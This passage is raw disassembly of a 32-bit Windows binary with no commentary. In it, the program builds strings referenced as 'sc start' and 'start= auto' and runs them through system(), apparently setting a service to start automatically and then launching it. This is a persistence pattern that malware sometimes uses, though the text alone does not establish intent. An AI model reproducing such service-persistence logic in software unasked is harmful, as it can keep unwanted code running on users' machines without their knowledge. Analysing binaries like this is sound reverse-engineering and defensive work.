lea esi, [ebp - 0xb0]
lea eax, [ecx + 0xb]
cmovae esi, dword [ebp - 0xb0]
add esi, ecx
mov dword [ebp - 0xa0], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xb], 0
lea eax, [ebp - 0xb0]
jmp 0x411d89
mov byte [ebp - 0x64], 0
lea ecx, [ebp - 0xb0]
push dword [ebp - 0x64]
push 0xb
call fcn.00405420
mov dword [ebp - 0x70], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x80], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x70], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x2f
lea edx, [ebp - 0x44]
cmp dword [ebp - 0x30], 0x10
mov edi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x6c]
cmovae edx, edi
mov esi, dword [ebp - 0x70]
sub eax, esi
mov ecx, dword [ebp - 0x34]
push ecx
push edx
cmp ecx, eax
ja 0x411e0a
cmp dword [ebp - 0x6c], 0x10
lea eax, [ecx + esi]
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x80]
cmovae eax, dword [ebp - 0x80]
add esi, eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x34]
add esp, 0xc
mov byte [eax + esi], 0
lea eax, [ebp - 0x80]
jmp 0x411e1d
mov byte [ebp - 0x64], 0
push dword [ebp - 0x64]
push ecx
lea ecx, [ebp - 0x80]
call fcn.00405420
mov edi, dword [ebp - 0x44]
mov dword [ebp - 0x88], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x84], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x88], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x30
mov edx, dword [ebp - 0x84]
mov eax, edx
mov ecx, dword [ebp - 0x88]
sub eax, ecx
push 0xc
push str.__startauto
cmp eax, 0xc
jb 0x411eb3
cmp edx, 0x10
lea esi, [ebp - 0x98]
lea eax, [ecx + 0xc]
cmovae esi, dword [ebp - 0x98]
add esi, ecx
mov dword [ebp - 0x88], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xc], 0
lea eax, [ebp - 0x98]
jmp 0x411ec7
mov byte [ebp - 0x64], 0
lea ecx, [ebp - 0x98]
push dword [ebp - 0x64]
push 0xc
call fcn.00405420
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xc8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xb8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xc8]
cmp dword [ebp - 0xb4], 0x10
cmovae eax, dword [ebp - 0xc8]
push eax
call esi
mov ecx, dword [ebp - 0xb4]
add esp, 4
cmp ecx, 0x10
jb 0x411f67
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411f5d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412051
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
cmp ecx, 0x10
jb 0x411fc0
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411fb6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412051
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 0x2e
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
cmp ecx, 0x10
jb 0x41200f
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x412005
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412051
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x412061
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x412057
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x412057
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov ecx, dword [ebp - 0x1c]
mov eax, closesocket
sub eax, ecx
cmp eax, 0xa
jb 0x4122d7
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
push ecx
cmovae eax, dword [ebp - 0x2c]
push eax
push 0xa
push str.sc_start__
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0xb0]
call fcn.0040a8c0
mov byte [ebp - 4], 0x31
mov edx, dword [ebp - 0x9c]
mov eax, edx
mov ecx, dword [ebp - 0xa0]
sub eax, ecx
cmp eax, 1
jb 0x4120d7
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0xb0]
cmovae eax, dword [ebp - 0xb0]
mov word [eax + ecx], 0x22
lea eax, [ebp - 0xb0]
jmp 0x4120f2
push 1
push 0x42166c
mov byte [ebp - 0x64], 0
lea ecx, [ebp - 0xb0]
push dword [ebp - 0x64]
push 1
call fcn.00405420
mov dword [ebp - 0x70], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x80], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x70], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
cmovae eax, dword [ebp - 0x80]
push eax
call esi
mov ecx, dword [ebp - 0x6c]
add esp, 4
cmp ecx, 0x10
jb 0x41216a
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x412160
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4121ac
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x4121bc
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4121b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4121b2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov esi, dword [ebp - 0xcc]
lea eax, [ebp - 0x44]
cmp esi, eax
je 0x4121de
cmp dword [ebp - 0x30], 0x10
mov ecx, esi
push dword [ebp - 0x34]
cmovae eax, edi
push eax
call fcn.00413660
mov edi, dword [ebp - 0x44]
lea eax, [ebp - 0x2c]
lea ecx, [esi + 0x20]
cmp ecx, eax
je 0x4121f9
cmp dword [ebp - 0x18], 0x10
push dword [ebp - 0x1c]
cmovae eax, dword [ebp - 0x2c]
push eax
call fcn.00413660
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp + 8]
mov word [esi + 0x1c], ax
cmp ecx, 0x10
jb 0x412230
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x412226
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412285
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x41225f
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x412255
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412285
push ecx
push edi
call fcn.0041d5d2
add esp, 8
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x412295
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41228b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x41228b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041d5d2
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041d07c
mov esp, ebp
pop ebp
ret 4
call fcn.004014d0
call fcn.004014d0
call fcn.004014d0
call fcn.004014d0
call fcn.004014d0
call fcn.004014d0
call fcn.004014d0
call fcn.004014d0
int3